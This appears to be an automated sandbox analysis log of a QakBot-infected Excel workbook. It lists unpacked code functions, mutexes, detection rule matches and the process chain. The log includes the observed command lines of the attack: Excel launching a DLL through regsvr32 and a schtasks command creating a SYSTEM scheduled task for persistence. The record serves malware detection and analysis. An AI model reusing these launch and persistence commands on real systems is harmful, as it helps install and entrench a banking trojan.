Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010DBC4E	3_2_010DBC4E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D4149	3_2_010D4149
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D725E	3_2_010D725E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D875E	3_2_010D875E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D6956	3_2_010D6956
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D9664	3_2_010D9664
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010DAB67	3_2_010DAB67
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010DB877	3_2_010DB877
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010DB1A1	3_2_010DB1A1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D11BE	3_2_010D11BE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010DA4BE	3_2_010DA4BE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D4AB1	3_2_010D4AB1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D88DE	3_2_010D88DE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D90DE	3_2_010D90DE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D31D8	3_2_010D31D8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010DBAEC	3_2_010DBAEC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D94F8	3_2_010D94F8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D7BF5	3_2_010D7BF5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_10012420	3_2_10012420
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_1000F045	3_2_1000F045
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_10018490	3_2_10018490
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_10014CBF	3_2_10014CBF
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_100110C0	3_2_100110C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_10018D30	3_2_10018D30
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_10011968	3_2_10011968
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_100155B5	3_2_100155B5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_100109C5	3_2_100109C5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_100149C5	3_2_100149C5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_100115FD	3_2_100115FD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_1001C24F	3_2_1001C24F
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_10010A6B	3_2_10010A6B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_10011EBA	3_2_10011EBA
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_1001B6CA	3_2_1001B6CA
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_10011721	3_2_10011721
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_10005394	3_2_10005394
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_1001E7D6	3_2_1001E7D6
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_01118D30	4_2_01118D30
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_01111968	4_2_01111968
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_011155B5	4_2_011155B5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_011109C5	4_2_011109C5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_011149C5	4_2_011149C5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_01113DF7	4_2_01113DF7
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_011115FD	4_2_011115FD
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_01112420	4_2_01112420
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_0110F045	4_2_0110F045
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_01118490	4_2_01118490
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_01114CBF	4_2_01114CBF
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_011110C0	4_2_011110C0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_01111721	4_2_01111721
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_01105394	4_2_01105394
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_0111E7D6	4_2_0111E7D6
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_0111C24F	4_2_0111C24F
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_01110A6B	4_2_01110A6B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_01111EBA	4_2_01111EBA
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 4_2_0111B6CA	4_2_0111B6CA
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0066F045	13_2_0066F045
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00672420	13_2_00672420
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_006710C0	13_2_006710C0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00674CBF	13_2_00674CBF
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00678490	13_2_00678490
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00671968	13_2_00671968
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00678D30	13_2_00678D30
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00673DF7	13_2_00673DF7
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_006715FD	13_2_006715FD
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_006709C5	13_2_006709C5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_006749C5	13_2_006749C5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_006755B5	13_2_006755B5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00670A6B	13_2_00670A6B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0067C24F	13_2_0067C24F
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0067B6CA	13_2_0067B6CA
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00671EBA	13_2_00671EBA
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00671721	13_2_00671721
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0067E7D6	13_2_0067E7D6
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00665394	13_2_00665394

Source: C:\Windows\SysWOW64\regsvr32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7092 -s 652

Source: gihi2.dll.13.dr	Static PE information: No import functions for PE file found
Source: gihi1.dll.4.dr	Static PE information: No import functions for PE file found

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior

Source: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, type: MEMORY	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 00000006.00000002.711643542.0000000000F30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 00000003.00000002.700614054.0000000001120000.00000004.00000001.sdmp, type: MEMORY	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, type: MEMORY	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 13.2.explorer.exe.660000.0.raw.unpack, type: UNPACKEDPE	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 3.2.regsvr32.exe.10000000.3.unpack, type: UNPACKEDPE	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 6.2.regsvr32.exe.10000000.3.unpack, type: UNPACKEDPE	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 4.2.explorer.exe.1100000.0.unpack, type: UNPACKEDPE	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 4.2.explorer.exe.1100000.0.raw.unpack, type: UNPACKEDPE	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 3.2.regsvr32.exe.1120000.2.unpack, type: UNPACKEDPE	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 6.2.regsvr32.exe.f30000.2.raw.unpack, type: UNPACKEDPE	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 6.2.regsvr32.exe.f30000.2.unpack, type: UNPACKEDPE	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 3.2.regsvr32.exe.1120000.2.raw.unpack, type: UNPACKEDPE	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload
Source: 13.2.explorer.exe.660000.0.unpack, type: UNPACKEDPE	Matched rule: QakBot author = kevoreilly, description = QakBot Payload, cape_type = QakBot Payload

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSB@20/19@2/1

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_1000A1C7 CreateToolhelp32Snapshot,memset,Process32First,FindCloseChangeNotification,

3_2_1000A1C7

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_10009CB8 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,SysAllocString,CoSetProxyBlanket,

3_2_10009CB8

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_10002297 StartServiceCtrlDispatcherA,

3_2_10002297

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_10002297 StartServiceCtrlDispatcherA,

3_2_10002297

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\{71922192-0266-41D2-A0F0-3628639BB9C8}
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\WERReportingForProcess6700
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\{264525F5-7A27-4045-91D4-FDDDDA7BFE75}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6696:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\WERReportingForProcess7092
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{264525F5-7A27-4045-91D4-FDDDDA7BFE75}

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{EF4E487D-8367-44BE-A024-25DD7810F9BF} - OProcSessId.dat

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: plan-1053707320.xlsb	Virustotal: Detection: 25%
Source: plan-1053707320.xlsb	ReversingLabs: Detection: 28%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\gihi1.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\gihi2.dll
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn wtdsqwcv /tr 'regsvr32.exe -s \'C:\Users\user\gihi1.dll\'' /SC ONCE /Z /ST 20:54 /ET 21:06
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s 'C:\Users\user\gihi1.dll'
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\gihi1.dll'
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7092 -s 652
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s 'C:\Users\user\gihi1.dll'
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\gihi1.dll'
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6700 -s 652
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\gihi1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\gihi2.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn wtdsqwcv /tr 'regsvr32.exe -s \'C:\Users\user\gihi1.dll\'' /SC ONCE /Z /ST 20:54 /ET 21:06	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\gihi1.dll'	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\gihi1.dll'	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: plan-1053707320.xlsb

Initial sample: OLE zip file path = xl/media/image1.png

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000000F.00000003.716292885.0000000003244000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.942057600.0000000003421000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdbs source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000000F.00000003.716161142.000000000323E000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbH source: WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: regsvr32.pdbk source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: cryptbase.pdbM source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: gCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 0000000F.00000002.727844501.0000000002E72000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000002.953457269.0000000000472000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000000F.00000003.716177962.000000000324A000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: regsvr32.pdb source: WerFault.exe, 0000000F.00000003.716155261.0000000003238000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 0000000F.00000003.716161142.000000000323E000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.942178479.0000000000840000.00000004.00000001.sdmp
Source:	Binary string: regsvr32.pdb( source: WerFault.exe, 0000000F.00000003.716155261.0000000003238000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.942167491.000000000083A000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdbT source: WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdby source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdbK source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbv source: WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdbN source: WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 0000000F.00000003.716177962.000000000324A000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.942198358.000000000084C000.00000004.00000001.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: setupapi.pdbB source: WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000000F.00000003.720799900.0000000004000000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946842030.00000000036A0000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdbk source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb\| source: WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 0000000F.00000003.716292885.0000000003244000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.942187790.0000000000846000.00000004.00000001.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp, WerFault.exe, 0000001F.00000003.946851520.00000000036A6000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbe source: WerFault.exe, 0000000F.00000003.720807356.0000000004006000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 0000000F.00000003.720783057.0000000003EF1000.00000004.00000001.sdmp, WerFault.exe, 0000001F.00000003.946824963.00000000038C1000.00000004.00000001.sdmp

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_1000E5F3 LoadLibraryA,GetProcAddress,

3_2_1000E5F3

Source: gihi1.dll.4.dr	Static PE information: section name: .code
Source: gihi1.dll.4.dr	Static PE information: section name: .rdataf
Source: gihi2.dll.13.dr	Static PE information: section name: .code
Source: gihi2.dll.13.dr	Static PE information: section name: .rdataf

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 ..\gihi1.dll

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D2B26
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D2B75
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_010D2A87 push dword ptr [ebp-10h]; mov dword ptr [esp], eax	3_2_010D2C52
